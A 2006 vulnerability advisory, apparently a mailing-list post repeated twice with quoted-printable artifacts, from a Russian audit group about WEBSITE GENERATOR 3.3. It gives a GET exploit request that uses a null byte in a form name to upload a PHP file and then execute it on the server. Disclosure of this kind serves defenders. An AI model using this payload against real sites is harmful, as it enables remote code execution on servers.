NSA Group
26/02/06, 03:00
Advisory:
NSAG-=B9202-25.02.2006
Research:
NSA Group [Russian company on Audit of safety & Network security]
Site of Research:
http://www.nsag.ru or http://www.nsag.org
Product:
WEBSITE GENERATOR 3.3
Site of manufacturer:
http://freehostshop.com
The status:=20
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is not notified (there is no communication).
17/02/2006 - Publication of vulnerability.
Original Advisory:
http://www.nsag.ru/vuln/894.html
Risk:=20
Hide
Description:=20
The removed user, can upload php script from other server and execute
custom php code on webserver.
Exploit:=20
Method GET:
http://example.com/files/myforms/process3.php?formname=3Dattack.php%00*name=
[0]=3D
Link:
http://example.com/files/myforms/forms/attack.php
More information:
http://www.nsag.ru/vuln/894.html
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
www.nsag.ru=20
=ABNemesis=BB =A9 2006=20
------------------------------------=20
Nemesis Security Audit Group =A9 2006.
NSAG-=B9202-25.02.2006
Research:
NSA Group [Russian company on Audit of safety & Network security]
Site of Research:
http://www.nsag.ru or http://www.nsag.org
Product:
WEBSITE GENERATOR 3.3
Site of manufacturer:
http://freehostshop.com
The status:=20
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is not notified (there is no communication).
17/02/2006 - Publication of vulnerability.
Original Advisory:
http://www.nsag.ru/vuln/894.html
Risk:=20
Hide
Description:=20
The removed user, can upload php script from other server and execute
custom php code on webserver.
Exploit:=20
Method GET:
http://example.com/files/myforms/process3.php?formname=3Dattack.php%00*name=
[0]=3D
Link:
http://example.com/files/myforms/forms/attack.php
More information:
http://www.nsag.ru/vuln/894.html
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++
www.nsag.ru=20
=ABNemesis=BB =A9 2006=20
------------------------------------=20
Nemesis Security Audit Group =A9 2006.